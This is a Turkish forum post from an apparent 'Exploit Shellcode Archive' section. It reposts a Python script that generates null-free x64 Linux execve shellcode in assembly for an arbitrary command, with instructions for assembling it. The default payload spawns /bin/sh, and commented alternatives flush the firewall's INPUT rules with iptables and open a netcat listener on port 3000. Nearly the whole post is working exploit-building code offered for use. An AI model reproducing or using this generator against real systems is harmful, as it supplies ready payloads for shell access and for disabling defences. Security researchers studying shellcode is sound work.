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Linux/x64 - x64 Assembly Shellcode (Generator)

'Exploit Shellcode Archive' forumunda KaliBot tarafından 16 Nisan 2018 tarihinde açılan konu

  1. KaliBot

    KaliBot Albay

    Katılım:
    30 Haziran 2015
    Mesaj:
    539
    Beğeniler:
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    Ödül Puanları:
    12
    Web Sitesi:

    Kod:
    #!/usr/bin/env python
    #
    # Features:
    #   - Linux shellcode x64 assembly code generation
    #   - stack based (smaller payload size)
    #   - execve based
    #   - supports long commands (meaning bigger than an x64 register - 64 bits)
    #   - supports long parameters (meaning bigger than an x64 register - 64 bits)
    #   - one command only (execve will alter the current memory proc and when it exits there's no continuation)
    #   - supports command with up to 8 parameters
    #
    # Instructions
    #   - requires full path to the command
    #   - only one command is supported due to execve transforming the current process into a new one, loosing all previous context (any other instructions that would have been executed)
    #   - after having the x64 generated assembly code:
    #       - copy paste it into a file (in a Linux environment) - example.nasm
    #       - execute:
    #           nasm -felf64 example.nasm -o example.o && ld example.o -o example
    #
    # Author: Andre Lima @0x4ndr3
    #   https://pentesterslife.blog
    #
    ########
    command = "/bin/sh"
    #command = "/sbin/iptables -F INPUT"
    #command = "/bin/nc -lvp 3000"
    #command = "/bin/echo 1 2 3 4 5 6 7 longparamparamparam"
    def tohex(val, nbits):
        return hex((val + (1 << nbits)) % (1 << nbits))
    code = ""
    code += "global _start\n"
    code += "section .text\n"
    code += "\n"
    code += "_start:\n"
    code += "push 59\n"
    code += "pop rax\n"
    code += "cdq\n"
    code += "push rdx\n"
    params = command.split(' ')
    try:
        params.remove('') # in case of multiple spaces in between params in the command - cleanup
    except: # it throws an exception if it doesn't finds one
        pass
    if len(params[0]) % 8 != 0:
        command = "/"*(8-len(params[0])%8) + params[0]
    iters = len(command)/8 - 1
    while iters >= 0:
        block = command[iters*8:iters*8+8]
        code += "mov rbx, 0x" + block[::-1].encode("hex") + "\n"
        code += "push rbx\n"
        iters -= 1
    code += "push rsp\n"
    code += "pop rdi\n"
    aux_regs = ["r8","r9","r10","r11","r12","r13","r14","r15"]
    i = 0
    params = params[1:] # remove first element - command itself. we just want the params
    if len(params) > len(aux_regs):
        print "More than " + str(len(aux_regs)) + " parameters... Unsupported."
        exit(1)
    for p in params:
        code += "push rdx\n"
        if len(p) % 8 != 0:
            p += "\x00"*(8-len(p)%8)
        iters = len(p)/8 -1
        while iters >= 0: # each param
            block = p[iters*8:iters*8+8]
            code += "mov rbx, 0x" + tohex(~int(block[::-1].encode("hex"),16),64)[2:2+16] + "\n"
            code += "not rbx\n"
            code += "push rbx\n"
            iters -= 1
        code += "push rsp\n"
        code += "pop " + aux_regs[i] + "\n"
        i += 1
    code += "push rdx\n"
    code += "push rsp\n"
    code += "pop rdx\n"
    while i>0:
        i -= 1
        code += "push " + aux_regs[i] + "\n"
    code += "push rdi\n"
    code += "push rsp\n"
    code += "pop rsi\n"
    code += "syscall\n"
    print code
     

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